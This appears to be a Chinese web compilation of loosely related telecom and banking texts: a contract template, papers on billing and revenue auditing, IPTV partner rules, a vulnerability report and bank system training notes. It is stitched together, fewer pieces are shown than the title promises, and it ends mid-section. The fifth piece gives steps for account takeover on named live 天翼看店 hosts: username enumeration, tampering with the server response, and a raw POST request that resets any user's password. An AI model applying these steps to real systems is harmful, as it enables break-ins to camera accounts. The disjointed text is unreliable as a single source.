电信综合业务管理系统

电信综合业务管理系统（精选8篇）

1.电信综合业务管理系统 篇一

北京企业宽带首选 电信综合业务合作合同书填写注意事项

甲方：某某物业，物业名称

乙方：电信工程有限公司

一、合作项目

1.项目名称：楼宇或小区名称

2.项目地址：行政（或邮政）地址，便于工程立项

3.项目内容：

塔楼：**栋，板楼：**栋

楼号：（如1#-7#；12#-20#）便于户数统计、工程勘探及方案设计

覆盖用户数：*****户。建成年限：****年**月。

二、甲方责任

1.负责为乙方免费提供独立**平方米机房一间，机房位置**号楼**层**号

（现接入采用EPON技术，覆盖小的社区无需机房可“空白”或填“无”、“/”；大型社区或地域相对独立，可根据需要而定。）

三、乙方责任

5．结算电费 按**元/度，以****度方式或周期，无机房接楼道电的，设备接哪个单元的电表，公司接收电卡负责充电。

六、互联网接入收入的分配

4．营业税（5.5%）后金额的 5 %分配给甲方

十一、合同有效期

本合同有效期为10年或15年，原则不低于10年。

北京企业宽带与北京光纤接入倾情奉献

2.电信综合业务管理系统 篇二

随着某电信运营商的发展与扩大, 用户数成倍增长。同时, 所开展的业务种类、推出的营销策略丰富多样, 极大地满足了客户的需要。但是, 用户量的增加、业务种类和优惠种类的增加以及营业厅终端的增加, 使现有的计费管理网系统承担着巨大的压力, 为更好地发挥计费和营业等系统的作用和提高其处理效率, 建设适合其运营发展的业务支撑系统BSS (Business Support System) 势在必行。

该业务支撑系统将以市场为导向、客户为中心、效益为目标作为建设的指导思想, 并将实现四个特征、三个能力的总体目标。四个特征是指综合化特征、统一化特征、个性化特征和信息化特征。三个能力是指实时处理能力、快速响应能力、集中管理能力。支持统一的产品管理, 用以指导和规范市场行为。业务支撑系统要求严格按照“专业计费, 综合账务”的原则进行设计, 通过增加专业计费、综合账务、综合营业等相关模块可以实现多种业务的综合支撑, 实现多种业务的“专业计费、综合账务、统一受理、统一账单、统一资料、统一查询”, 为客户提供统一的、综合的、规范化的高质量服务。

综合账务系统在整个业务支撑系统中完成该运营商的账务处理、账务管理。结合客户管理系统提供的用户、账户、客户资料信息对本系统内各种业务的计费清单数据进行账务汇总、账务计算、账务优惠等处理, 形成账单;可对账单进行销账、欠费、催缴、调账等处理;可将账单提供给综合客服系统、经营分析系统、大客户管理系统等系统;可通过与各专业系统接口进行诸如欠费停机和缴费复机等联机事务处理;对于综合账务系统, 支持实时账务处理或定时账务处理、支持实时缴费。

2 系统设计

综合账务系统的设计, 主要是对专业计费处理后的清单数据, 与用户资料数据相结合, 形成用户账单数据。账务处理对计费清单数据进行汇总, 并对用户设置的各种优惠规则进行处理, 形成每一个合同账户的总费用以及明细账目、明细账单项费用。

主要需实现账务监控、账务处理、账务异常处理、账务处理的数据查询、欠费处理、出账后再处理、账务资料维护、账务处理方式、后台控制器。这些功能分布在三个主要系统模块中:账务监控、账务管理、后台业务处理进程。后台业务进程包括多个控制器和多个业务处理进程, 业务处理进程都是由其对应的控制器来调用和控制的, 后台业务进程是综合账务系统的业务处理核心。

经过多年的发展, 计费中心系统主要完成业务的计费、客户服务和综合管理;收费中心系统主要完成结算、账务、营业、业务管理和业务统计等功能。

通过吸收国内外先进的运营支撑建设思想和经验, 依据业务支撑系统的高效性、灵活性、扩展性原则, 系统采用分层的技术体系架构。

本系统采用前台软件和后台数据库相结合的实现方式, 而前台软件预计分为三个模块, 分别是话单分拣、话费营收、计费管理。图1为系统整体的设计构架。

话单分拣模块, 就是对原始话单文件, 参照计费费率等参数, 计算费用并生成详细话单保存进数据库表。这里说的原始话单信息数据, 就是包含基本计费信息, 如必须包含有主叫号码、被叫号码、中继局向、通话起始时间通话时长、通话截止时间。

计费管理系统是该系统的核心子系统, 应具备用户档案管理、计费与优惠策略管理、计费数据管理、系统参数管理、账务管理六大模块。

3 系统框架设计

由于综合账务系统是以机房集中处理, 不需要面对大量用户, 所以系统采用C/S的二层模式设计。账务系统构建在UNIX操作系统和大型数据库之上, 系统框架如图2所示。

其中, 账务监控、账务管理、账务后台业务处理为账务系统的三大子系统。账务后台业务处理由若干个业务控制器和若干个业务处理进程组成, 账务后台业务处理和总体控制的关系如图3所示。

综合账务系统主要分为实时合账、月租计算、优惠处理、预存款划拨、出账、打开收费开关等过程。

4 结论与展望

综合账务是电信运营的业务支撑系统中的重要组成部分, 是电信运营进行资金回笼的必要环节。提高经营管理和服务水平、参与市场竞争、维护电信运营商自身利益和效益、市场经营决策等, 都需要高性能的账务系统提供有力支持及后台保障。

综合账务系统, 彻底实现了多种业务的“综合账务、统一账单、统一查询、统一客服”, 为其客户提供统一的、综合的、规范化的高质量服务。

目前综合账务系统在本文机房已经正式投入运行, 综合账务系统从功能、性能方面完全满足目前该电信运营商运营支撑的要求, 提供了良好的业务支撑平台, 对日常运营提供了有力支持, 计费批价完成后该部门可在4~5小时内完成出账工作。

摘要：综合账务是电信运营的业务支撑系统中的重要组成部分, 是电信运营进行资金回笼的必要环节。本文重点介绍了高性能的账务系统设计。

3.电信综合业务管理系统 篇三

关键词：电信企业；营收业务稽核；集中化管理；市场竞争力；无纸化营业；稽核工作电子化

中图分类号：F626 文献标识码：A 文章编号：1673-1573（2016）03-0078-04

从纵向管理线条看，电信企业大多执行“营业厅—县（区）—市—省”的自下而上的四级营收业务稽核（以下简称“稽核”）体系；从横向管理线条看，电信企业会根据业务归属，分专业线条实行职责分离的稽核管理矩阵，整个企业的稽核工作分为业务稽核（分为大众市场业务、集团客户业务）、营收资金稽核、计费数据稽核三个维度，各部门根据职责分工分别编制稽核规则、出台稽核管理办法。随着电信企业的发展壮大和市场竞争的日益激烈，这种分散式的稽核管理模式越来越无法适应电信企业转型发展的需要，凸显出一系列问题。笔者提出一种基于无纸化营业和系统融合的营收业务稽核集中化管理方案，旨在解决电信企业战略转型过程中营收业务稽核工作存在的诸多问题，提升电信企业市场竞争力及内部管理水平。

一、营收业务稽核集中化管理的必要性

1. 随着稽核工作的日益深入，电信企业提出以管理地图模式实时掌控各营业网点资金稽核情况（如过夜资金额度管控、稽核工作及时率、资金归集率等）的管理要求，这就需要稽核工作时效性、准确性更高、管理颗粒度更细，稽核人员素质更佳，而实际从事稽核工作的人员，尤其是基层稽核工作人员大多由营业员、办事员兼职担任，有限的人力资源对精细化管理提升形成掣肘，人员短缺问题成为制约稽核工作开展的关键因素。

2. 现存的四级稽核体系，管理层级多、耗时长、风险大，任何一个流程环节出现问题都可能对营收资金安全产生影响。在资金管控要求愈加严格的大环境下，稽核体系扁平化管理需求尤显迫切。

3. 在现有的稽核体系下，由于管理归口不清晰，营业厅、区县公司等基层稽核单位，常面临对同一工作事项存在不同管理要求、难以执行的问题。部分管理要求有冲突的工作还可能涉及内控制度建设，存在较大审计风险。比如对营业厅过夜资金的管理，财务部通常要求各营业员营业终了后将尾款全额交至营业厅稽核员统一存放保管或上缴，而综合部出于分散过夜资金被盗风险的目的，要求各营业员将过夜资金存入各自台席保险柜保管，造成营业厅过夜资金保管工作要求标准不一，难以落地执行。

4. 业务稽核的工作质量是营收资金安全及时收进的前提和保障。现行的稽核体系相对独立，业务部门、财务部门、计费部门分别建设稽核系统，分别出具稽核通报、风险报告等文件，未建立全流程管控的闭环式支撑系统及风险提示与通报机制。业务稽核侧重于业务办理合规性的检查，而忽略对应收报表数据的监控与稽核。营收稽核人员虽然关注报表数据，但由于无法及时掌控业务发展情况，且处于工作流的最末端，只能事后发现问题，对于一些隐蔽性高的问题，营收稽核难以发现，形成营收资金安全隐患。

5. 为应对市场竞争，电信企业的电商运营模式如火如荼开展，但稽核模式并未进行根本性的改变，无法适应电商模式下对稽核工作的要求。业务的发展迫切需要稽核工作做出变革，将传统业务与电商模式进行区分，以更好地支撑业务的发展。

二、营收业务稽核集中化管理的实施方案

实现营收业务稽核集中化管理需建立扁平化的工作流程、自动化的稽核手段、重点突出的稽核模式以及予日常稽核结果与效益分析于一体的稽核成果产出机制，多方面统筹考虑、跨部门协同合作，具体实施方案如下。

（一）调整组织架构，成立专门的稽核机构

电信企业将现行的业务稽核班组、资金稽核班组、计费数据稽核班组进行整合，成立独立的稽核中心，负责企业全量的稽核工作。稽核中心根据资金归集渠道进行编组，下设自有渠道组、社会渠道组、电子渠道组、集团客户组开展工作，稽核中心人员通过公开竞聘方式从原有稽核队伍中选拔聘用。稽核中心执行各专业部门制定的稽核规则，独立、客观地开展日常稽核工作。

（二）大力推广无纸化营业模式

无纸化营业是指在尽量不改变客户的业务办理习惯及一线操作流程的基础上，将原来签订纸质协议、客户签字、复印证件环节改为签订电子协议、电子签名、采集电子证件信息的方式，减少纸张使用并实现全程电子化档案管理的营业受理方式（见图1和图2）。

电信企业需对所有前台受理业务进行全量梳理，按渠道区分凭证件办理及凭密码办理两种类型，分别制定无纸化受理流程。具体业务受理流程见表1。

无纸化营业模式下，对自有渠道应根据业务量配置无纸化设备，用于支撑证件信息采集、电子签名、影像拍摄，设备配置组合可分为电子手写屏+综合证件采集器、电子手写屏+现有二代身份证读卡器两种方式，高拍仪可按厅配备（见表2）。代理渠道可根据业务需要比照自办渠道配置相应的无纸化设备。无纸化设备配置应采取“先自办渠道后代理渠道”的方式推广，避免一次性成本投入过高，对于有意向采用无纸化营业方式的社会渠道可引导其自筹资金购买无纸化设备，或者通过奖励酬金的方式解决设备采购事宜。无纸化营业应关注投入产出比。

在业务受理环节实现无纸化的基础上，电信企业可进一步考虑推广营业厅层面营收资金日常管理的无纸化办公模式。对于营业厅现金收缴环节，可利用手写屏在营业受理系统中完成当日款项交接确认环节的无纸化操作。对于营业厅现金接包环节，可利用二代身份证识别仪实现对银行上门收款人员身份验证环节的无纸化操作。营业厅留存的现金缴款单、支票票根、银行回单、POS小票等视同现金管理的原始单据可通过高拍仪采集电子影像，实现资金稽核单据流转环节的无纸化操作。

（三）以风险防控及颗粒归仓为依归，突出稽核重点，抓大放小

稽核中心应将工作重心放在业务与财务融合的交接点上，对现行稽核工作涉及的所有业务类型进行全量梳理，以营收报表为基础，明确涉财业务类型，制定涉财业务自上线至下线的全生命周期稽核规则（见图3）。

对于专业性稽核内容（如业务办理合规性、报表数据分项与汇总是否相等），应进行风险等级识别，并根据风险等级选定稽核模式、抽查比例、考核方式，实现专业性稽核工作的批量处理作业（见表3）。

（四）优化稽核工作模式，建立闭环式稽核工作流程

1. 多措并举、各司其职，切实做好稽核事前控制。一是稽核中心人员应积极嵌入业务前端，参与营销方案制定，同业务部门、财务部明确稽核规则、配置要求、报表归集方式等关键稽核事项。二是稽核人员或业务人员根据议定的关键稽核事项提交/审阅计费系统/稽核系统开发改造需求，计费部门、稽核系统支撑单位开展系统开发改造，业务部门在业务上线前在相关系统内进行全流程测试（含业务规则配置及受理测试、财务报表归集测试、稽核规则配置）。三是梳理稽核高风险业务类型，对高风险业务实施在线授权，根据风险级别设置在线授权类型（如业务办理现场授权、上级稽核远程授权等），实现稽核环节前移。

2. 借助一级稽核模式，做好稽核工作事中控制。无纸化营业模式推广后，电子化业务单据的生成为稽核集中化创造了条件，利用无纸化优势，电信企业可搭建基于无纸化营业的一级稽核系统。一级稽核系统的工作原理是根据业务受理类型，配置不同的稽核规则并进行系统固化。营业员办理业务后，系统根据预设的稽核规则对电子化业务单据进行稽核判断，对于判断无误的业务将按比例推送至市一级稽核人员抽查复核。对于系统自动判断存在差错的业务，系统推送至业务办理人，由业务办理人员整改后，人工提交至市一级稽核人员全量复核。一级稽核系统将业务办理与稽核有效结合，在业务办理的同时即对业务合规性进行审核，实现了部分稽核工作由事后向事中的前移，提升了稽核工作的效率及及时性。

此外，电信企业应建立稽核指标通报体系及风险发布机制，对稽核数据开展实时分层级的分析、监控，搭建跨部门虚拟团队式的沟通反馈机制，推动业务部门、财务部、支撑部门共同对发现问题实施整改及风险防范。

3. 人工复核、定期总结，完善稽核事后控制流程。一级稽核人员对系统自核通过的业务进行抽查或对自核失败的整改情况进行人工复核，能够将稽核人员从原有“事无巨细，眉毛胡子一把抓”的复核工作中解放出来，突出稽核复核工作的重点，使复核工作更具实际意义。此外，稽核中心人员应定期对上线业务的稽核规则进行总结归纳，及时对系统内的稽核规则进行增删调整。根据业务类型、归口部门、报表逻辑等维度，分类设定稽核规则模板，避免稽核工作的一事一议及因稽核规则过多、规则过于繁琐而牵扯稽核人员过多精力。

（五）组建以生产系统为核心的稽核工作电子化平台

对于已经独立于生产系统，单独建设业务稽核系统或营收资金稽核系统的电信企业，应打破系统壁垒，建立业务稽核系统—计费生成系统—营收资金系统间接口，实现系统间数据的实时交互。同时应兼顾考虑营业员层级单点登录的便捷性，避免营业员在多系统间切换工号。系统交互流程见图4。对于尚无建立稽核系统或在生产系统中内嵌稽核模块的电信企业，应以生产系统为核心，优化、完善稽核功能，实现业务办理与稽核流程的衔接。

稽核系统除基础的稽核工作模块外，应建立如下功能模块。一是区分业务类型建立风险识别与规则配置模块，例如根据业务量、营收资金量等维度建立动态调整的风险识别功能，并根据风险级别执行不同的稽核规则。业务配置及稽核规则应全部在系统中进行固化，稽核中心应建立健全专人责任制的规则维护及更新制度，规则一旦设定，无特殊情况不得随意更改。二是在线授权功能模块。此模块应结合企业实际，实施分层级管理，采用现场授权与远程授权相结合的方式开展，同时需要充分考虑授权业务的响应及时性，避免影响客户感知。三是稽核报表及分析模块，此模块可包括稽核差异统计、稽核差错统计、稽核风险提示、稽核时限统计、新业务效益分析等报表，用于支撑稽核中心日常工作的开展（见图5）。

电信企业通过自动化的稽核手段，建立起全省乃至全集团统一的稽核规则，将稽核规则固化于统一的操作平台上，在高效率完成日常稽核工作的前提下，实现稽核结果与营销活动效益评价等分析的完整输出，从而实现稽核工作价值的提升。

参考文献：

[1]李红宏.通信行业营收资金稽核管理[J].财经界（学术版），2015，（1）.

[2]范蔚文，张清.营业资金稽核的信息化应用[J].中国管理信息化，2009，（3）.

[3]楼斌，张羽.通信企业基于全业务流程贯通的营收资金风险管控体系[J].山东通信技术，2014，（3）：3-6.

责任编辑、校对：张增强

Abstract： With fierce competition of the communication market， cut in tariffs leads to shrinking profit margins. And the current revenue management mode cannot meet the needs of strategic transformation to centralized management， professionalized operation， horizontal organization， mechanism marketization and process standardization. This paper shows that it is high time to carry out the mode of centralized revenue business audit. Aiming at the existing problem， it also puts forward centralized management for business revenue audit and makes a further management from the aspects of organizational structure adjustment， paperless business acceptance， audit scope， audit process and system support.

4.电信综合业务管理系统 篇四

（试行）

为规范我省IPTV业务合作方（以下简称合作方）维护管理，支撑公司IPTV业务发展，适应公司组织架构职责调整，省媒体支撑中心、媒体运营部在广泛征求省相关部门及市（州）分公司意见的基础上，组织制定《中国电信XX公司IPTV业务合作方维护管理实施细则（试行）》（以下简称细则）。

本细则明确了对IPTV业务合作方入网管理流程、业务调整流程、网络调整流程、安全管理、服务质量管理等工作内容和流程。请遵照执行，执行中如有问题及时反馈省公司。

第一章 总则

第一条 IPTV业务合作方（以下简称“合作方”）指在IPTV业务运营过程中与中国电信XX公司合作的内容提供商和内容运营商，为IPTV业务运营提供视听类和非视听类内容，具体分为增值业务合作方（如游戏、音乐、教育、视频点播服务等）和直播节目源合作方（仅提供直播节目源，如部分本地电视台）。

第二条 为保障IPTV业务安全可靠运行，规范合作方维护管理，促进IPTV业务发展，特制定本管理细则。

第三条 本细则适用于中国电信XX公司及下属各单位。

第二章 合作方入网管理流程

第四条 合作方入网需求受理

（一）省媒体运营部直接受理合作方需求。

（二）市州本地节目源引入，由市州电视宽带部向省媒体运营部提出需求。

（三）省媒体运营部通过OA业务协调单向媒体支撑中心发起合作方入网需求，并提交合作方入网技术方案：

1.增值业务合作方至少包括网络组网图、设备功能及数量、设备安装位置、设备主要性能指标与业务适配能力、合作方至电信链路配置情况，各种典型场景下应急处置预案等。合作方入网技术方案模板详见附件1。

2.直播节目源上线，合作方至少提供频道名称、频道号、入流IP地址及端口号、出流IP地址及端口号、频道视频流码率、是否启动回看、时移等。第五条 技术方案评审

省媒体支撑中心组织增值业务合作方等相关单位进行入网技术方案评审。

省媒体支撑中心组织对新增直播频道进行系统能力评估。

第六条 需求实施及入网建议

（一）增值业务

1.省媒体支撑中心配合合作方完成入网方案实施，包括IP地址分配、平台数据配置、网络联调、配置EPG直播频道等。

2.合作方完成安全评估，并向省媒体支撑中心提供安全评估报告。

3.媒体支撑中心向媒体运营部提出入网建议。

（二）直播频道上线

1.省媒体支撑中心配合合作方3个工作日完成频道上线入网方案实施，并反馈媒体运营部；

2.媒体运营部组织合作方进行直播频道测试，并提供测试报告；

3.媒体运营部通知媒体支撑中心完成频道正式上线配置；

4.媒体运营部通知相关单位发布公告；

5.媒体支撑中心按照工作流程完成资料更新和资料传递。

第七条 省媒体运营部组织服务公告发布、业务上线和测试验证、业务发布等。

第三章 增值业务合作方网络安全管理

第八条 合作方网络安全管理设备范畴为合作方托管在电机房的网络、设备。

第九条 增值业务合作方按照《附件2：中国电信XX公司IPTV增值业务合作伙伴网络安全技术评估标准V1》、《附件3：中国电信XX公司IPTV增值业务合作伙伴安全评估技术规范v2.1》按规定周期完成安全评估工作提交评估报告，并在次月完成整改，提交整改报告。

第十条 新入网的增值业务合作方在入网之前开展一次完整的安全评估，评估通过后，方可入网。

第十一条 增值业务合作方提供的网络安全评估报告必须具有由中国信息安全认证中心颁发的“风险评估服务资质证书”以及由“中国信息安全测评中心”颁发的“信息安全服务资质证书（安全工程类）”安全资质的行业内主流网络安全厂家提供。

第十二条 增值业务合作方CMS账号由省媒体支撑中心统一分配，每个合作方分配一个唯一的账号，要求合作方指定专人进行操作和管理，并提前向省媒体支撑中心进行报备，由于账号管理不当造成的安全问题，由合作方全权负责。合作方账号管理使用情况，省媒体支撑中心进行定期抽查和通报。

第十三条 由增值业务合作方网络、设备安全引发的IPTV业务使用问题，由合作方全权负责，并根据问题影响范围、时限、用户数等确定考核力度。

第四章 合作方业务、网络类调整流程

第十四条 合作方业务类调整流程

（一）合作方业务类调整包括新业务上/下线、现有业务变更（含EPG变更、游戏大厅变更等）、现有直播频道调整/下线等。

（二）分级操作工作流程

1.A级，EPG架构、主要功能、页面布局等大规模升级改动，此类升级原则上只在重大版本迭代时发生，一年不超过一次。

省媒体运营部提前7个工作日向媒体支撑中心发起OA业务协调单，提供业务调整技术方案，至少包括实施背景、实施时间、步骤、业务影响、应急方案、合作方主流机顶盒自测结果等。合作方技术方案模板详见附件4。

省媒体支撑中心组织相关单位评审技术方案、实施计划等，向媒体运营部反馈技术建议。媒体支撑中心安排进行EPG适配测试，提交测试结果。媒体支撑中心安排市州进行现网试点验证，观察一周提交验证结果。

省媒体运营部发布全省部署服务公告，安排业务验证。媒体支撑中心配合实施、安排技术方案实施结果验证，并向媒体运营部反馈业务调整技术验证结果。

2.B级，EPG版本优化、新功能上线，合作方EPG模板调整，此类升级原则上一年不超过三次；

省媒体运营部提前3个工作日向媒体支撑中心发起OA业务协调单，提供业务调整技术方案，至少包括实施背景、实施时间、步骤、业务影响、应急方案、合作方主流机顶盒自测结果等。合作方技术方案模板详见附件4。

省媒体支撑中心组织相关单位评审技术方案、实施计划等，向媒体运营部反馈技术建议。

媒体支撑中心安排进行EPG适配测试，并提交测试结果。省媒体运营部发布全省部署服务公告，安排业务验证。媒体支撑中心配合实施、安排技术方案实施结果验证，并向媒体运营部反馈业务调整技术验证结果。

3.C级，主要包括EPG底图、button链接等改动，此类改动次数及频度不固定，多为遇节假日修改页面底图、新产品上线时修改。

合作方完成调整后，30分钟内邮件向媒体运营部、媒体支撑中心进行服务报备。

4.直播频道调整/下线参照合作方入网流程中“直播频道入网流程”进行执行。

第十五条 合作方网络类调整流程

（一）合作方网络类调整包括设备能力不足、版本bug、故障隐患、设备搬迁、设备倒换、设备检修等。

（二）合作方提前7个工作日（设备检修3个工作日）向省媒体支撑中心提交网络调整需求，提供技术方案（至少包括背景、调整时间、实施步骤、业务影响等）抄送省媒体运营部，技术方案模板详见附件4。

设备检修需提供服务服务报备的正式邮件，检修当日，合作方需再次告知省媒体支撑中心。

（三）省媒体支撑中心组织技术评审，发布服务公告、组织方案实施和业务验证，并通报网络调整结果。

第五章 合作方设备、业务监控管理

第十六条 增值合作方入网后或在网设备发生调整、更换后需在一周内向省媒体支撑中心进行备案。包括合作方设备、网络监控技术标准，包括指标定义、指标阀值及超出阀值后业务影响、监控周期、处理建议等。

第十七条 合作方需安排人员进行设备、网络、业务监控，发现问题第一时间通过中国电信XX公司IPTV维护人员。

（一）直播业务监控，合作方主动监控并进行通报，内容包括：

1.根据节目单下发周期通报节目单下发是否正常、每日上午10点检查下发节目单在EPG上面的呈现是否正常；

2.成都台、省台每日上午10：00通报直播频道上一日频道质量劣化、断流、码流波动情况等汇总信息；

3.成都台、省台、央视、文广每日上午10：00通报上一日节目源至电信公司长途链路负荷峰值；

4.通报方式为易信（ITV合作方团队)；

（二）增值业务监控

合作方主动监控并每日上午10：00，晚上7：00在易信（ITV合作方团队)进行通报EPG、游戏大厅呈现、热点业务（推介位或新上的热点影片、游戏等）观看是否正常。

（三）增值业务设备、网络监控

合作方主动监控并每日上午10：00，晚上19：00在易信（ITV合作方团队)进行通报设备运行、节目源至省中心链路负荷情况是否正常等。

第十八条 备品备件

合作方应根据业务发展需求预留足够的核心板件放置在成都本地，紧急情况下启用备件。

第十九五 重保要求

各类重要节假日、重大活动保障，由中国电信XX公司提前以邮件通知各合作方做好重保要求，包括合作方组织保障、备件准备、值班要求、业务监控要求等，保障级别高于日常保障要求。

第六章 合作方服务质量管理

第二十条 合作方障碍及投诉处理

由合作方引起的业务内容或服务故障，省媒体支撑中心通过电子运维系统（在电子手段未正式上线应用前暂通过合作方问题单方式，模板相见附件5）派发至合作方，合作方按照时限要求处理，并在系统内回单。对于障碍或投诉处理、回单时限要求：

（一）影响2个市州及以上的大面积障碍：

1.直播业务障碍：合作方20分钟内响应并反馈处理进展，重要直播频道（全部高清频道、央视CCTV系列、卫视）1个小时日完成问题处理、验证和反馈，其他频道1个工作日内完成问题处理、验证和反馈，如遇卫星传输问题、设备宕机等短时间内无法修复的障碍，可以申请处理时间延时处理。

2.增值业务监控

（1）合作方EPG障碍（如合作方EPG无法进入、EPG进入缓慢严重影响用户感知或EPG能进入但图片无法展示等）：20分钟内响应并反馈处理进展，视频类EPG（如好莱坞、看吧、熊猫等）1小时内完成问题处理、验证和回单，其他业务EPG（如游戏、生活等）2个小时内完成问题处理、验证和回单。

（2）点播类障碍（如缺集少集或某部分节目播放失败）：20分钟内响应并反馈处理进展，1个工作日内完成问题处理、验证和回单。

（二）单用户障碍，要求20分钟内反馈处理进展，1个工作日解决和回单。

（三）合作方未在规定时间内处理完成，需升级到中国电信XX公司部门领导及合作方办事处领导层面处理，根据需要逐步升级到更高层面协调处理。

（四）投诉：10000号投诉按照中国电信XX公司规定的投诉处理时限完成问题处理和回单。

第二十一条 沟通机制

（一）建立双方合理畅通的沟通机制。

（二）合作方每月25日之前（如遇节假日顺延）提供网络运营工作月报，包括日常监控和问题处理、工单处理、业务调整、网络调整、安全整改、工作建议、下月重点工作计划等（模板见附件6）。

（三）省媒体支撑中心、媒体运营部根据工作需要与合作方每月对平台日常运行质量情况进行例会沟通，做相关分析。

（四）如发生重大故障，双方及时沟通。

（五）合作方需提供对口联系人员，包括分管领导和接口人，如联系人或联系方式发生变化，应第一时间以电子邮件通知中国电信XX公司相关人员。

第二十二条 省媒体支撑中心定期通报合作方服务、障碍处理、技术支撑质量，满分为100分（不含加分项）。

（一）扣分项

1.合作方故障工单处理及时性

合作方在规定时限内完成故障工单处理，单用户障碍每超时一次扣0.5分，大面积障碍一次扣1分。

合作方在规定时限内完成投诉工单处理，每超时一次扣1分，造成越级投诉的一次扣2分。

2.合作方易信主动通报及时性

合作方按照规定在易信内完成通报（及时、完整），每违反一次，扣0.1分。

2.合作方网络安全整改及时性

合作方未在规定时限内完成安全评估和整改，每延时一周扣0.5分。

3.合作方服务质量、态度、能力得分综合得分（1）合作方提供的技术规范、割接方案质量,一次不合格扣0.1分；

（2）运营工作月报质量，一次不合格，扣0.1分；（3）合作服务态度，一次扣0.5分；（4）重大安全事件扣分项

因合作方内容源原因造成全省IPTV业务重大安全事故，合作方年度得分直接为0，中国电信XX公司保留向合作方追究法律责任的权利。

因合作方设备、网络安全问题造成全省IPTV业务重大安全事故，根据障碍影响范围、影响时常、影响用户数进行扣分，最高扣分不超过20分。

（二）加分项

1.合作方主动发现障碍并及时处理

合作方主动发现、报送和处理障碍，未造成大面积用户障碍的，经省媒体支撑中心确认，每次加0.1分，最高加10分。

2.合作方在IPTV网络运营方面提出的建议被中国电信XX公司采纳、应用，并产生了重大的利好影响或经济价值，将予以加分，最多加分不超过10分。

第二十三条 合作方维护管理方式

（一）省媒体运营部通过协议方式明确中国电信XX公司与合作方维护界面、工作要求及考核方式。

（二）省媒体支撑中心每月/年通报合作方服务质量得分情况，媒体运营部根据合作协议予以应用和结果通报。

（三）市州引入的合作伙伴管理可参考省公司合作方维护管理实施细则执行。

第七章 附则

第二十四条 本办法自印发之日起执行，由省媒体运营部、网络运行维护部、媒体支撑中心负责解释。

附件1：xx合作方入网技术方案模板

5.电信综合业务管理系统 篇五

www.jsict.com/ 江苏鸿信系统集成有限公司

产品：天翼看店

天翼看店是江苏鸿信系统集成有限公司推出的一款集摄像、录像、实时监控、云台控制、报警、存储为一体安防业务，针对公司、店铺等需要进行可视化管理的场所，通过客户端管理软件和互联网服务平台，以电脑和智能手机作为媒介，实现远程监控，帮助用户更好地进行安防和可视化管理，

列举案例：

www.pinganyun.cn:8000/jsp/findPassword/findPasswordSetp1.action

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www.189eyes.com:8000/jsp/findPassword/findPasswordSetp1.action

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首先我们来看ha.kandian.189.cn:8000

北京 江苏 天津 湖南 河南 山西 新疆 鞍山 8个区域都在使用

ha.kandian.189.cn:8000/jsp/findPassword/findPasswordSetp1.action 找回密码处仍旧可以枚举用户名，这里以找回“fan”为例

设计小缺陷，此处泄露用户手机

修改响应为true

fan:wooyuntest1 登录验证是否修改成功，登录上去之后，啥玩意..政企中心 真的假的 吓谁呢..

还有第二处任意密码修改

POST /jsp/findPassword/savePassword.action HTTP/1.1

Host: ha.kandian.189.cn:8000Proxy-Connection: keep-aliveContent-Length: 60Accept: */*Origin: ha.kandian.189.cn:8000X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: ha.kandian.189.cn:8000/jsp/findPassword/findPasswordSetp3.actionAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: userId=4ae6eca743574c98014366b5258d0d17&password=wooyuntest1

这里也只要获取到userId参数就可以修改任意账户密码，在第一步找回密码处可以获取到

然后构造Post直接改密就可以了，

平安云，测试了下方法是通用的：

至于我为什么觉得是通用呢，首先sjkd.online.cq.cn:8000跟ha.kandian.189.cn:8000 经过测试用户不通用，online.cq.cn百度了下是重庆热线，版权是电信的重庆分公司 www.pinganyun.cn:8000平安云就不知道了 反正用户也不通用

6.综合业务系统知识培训 篇六

柜面常用知识

1、凭证与重要空白凭证。

重要空白凭证是指银行或单位填写金额并经签章后即有支付款项效力的空白凭证，如支票、存单、存折、贷款收回凭证、汇票等，是银行凭以办理收付款项的重要书面依据。重要空白凭证一律纳入表外科目核算，综合业务系统自动销号，同时按照有关规定有些凭证，纳入表外科目核算，表外进入综合业务系统。

2、要熟悉综合业务系统中模块。

存款、贷款、结算、客户、公共、外联、其他模块，同时要记住在业务中常用的交易码，如0107更改柜员密码、0051一记双讫、0052当日冲正、0053一借多贷/一贷多借0089司法扣划等交易码。

3、会计科目用途、会计分录、月报表、财务损益表、日计表要了解。

系统特点

1、记账发展史

信用社1997以前全部手工记账。

1997年至2007年5月，信用社实现单机版储蓄电脑

2007年5月至至今，已有了综合业务系统（前台使用柜员使用）、财务管理系统（财务会计部使用）、信贷系统（客户经理使用）和票据系统等。

2、会计核心。根据信用社内部的资金管理、账务管理、会计核算以及风险控制的要求，将业务处理系统中的信息进行分类整理，建立会计的基础数据库，实现综合核算和重要会计事项监督的职能。会计的基础数据库根据资产=负债+所有者权益的平衡公式输出各级机构的各类本外币会计报表，形成”安徽省农村合作金融机构”本外币一本账。

3、结算方式齐全、结算渠道完善。系统支持银行的各类结算品种，并在此基础上建立结算渠道平台，结算渠道平台支持各类结算业务通过电子数据方式连接各种渠道，这些渠道包括电子转账、大小额支付、农信银通存通兑等渠道。

4、开拓中间业务。系统将提供中间业务平台，支持重点发展代理性中间业务，主要包括现代支付业务、中间业务、卡业务、农信银业务、安贷宝、新农保、电子银行业务、财税库行等。

业务功能

存款业务支持不同币种储蓄业务的网内通存通兑和对公的县辖通存等。该系统可使用存折、存单及银行卡等多种服务形式和多币种的活期存款、整存整取、零存整取、整存零取、存本取息、定活两便、通知存款等。其中包括开户、销户、存取款、账户挂失、解挂、冻结、解冻、补登折、换折、修改密码、冲账、查询账户等功能。对公业务主要办理多币种的对公定期存款、活期支票存款和通知存款等业务。其中包括存款的开户、销户、存取、转账等业务。

贷款业务核算对个人、个体工商户、企事业单位发放的贷款以及消费贷款。其中包括贷款的发放、收回、展期、形态转移、呆账核销及利息结算等业务。

结算业务核算全省系统内电子转账业务、签发银行本票业务、代签银行汇票、签发银行承兑汇票和票据贴现等。目前，由于系统升级，票据业务主要是通过票据业务系统完成。

股金业务核算信用社股东的入股、扩股、转让、退股及分红等。内部记账主要实现内部账务的核算。

现代支付核算信用社的大额支付、小额支付等的往来账业务。其中包括录入、发送、修改、删除、撤销、接受、查询查复、打印等业务。

中间业务主要是处理代收电话费及代发工资和代发粮补等各种中间业务。

管理方面主要包括现金管理、凭证管理、客户管理、柜员管理、复核、查询和日结等。

系统公共约定

机构定义

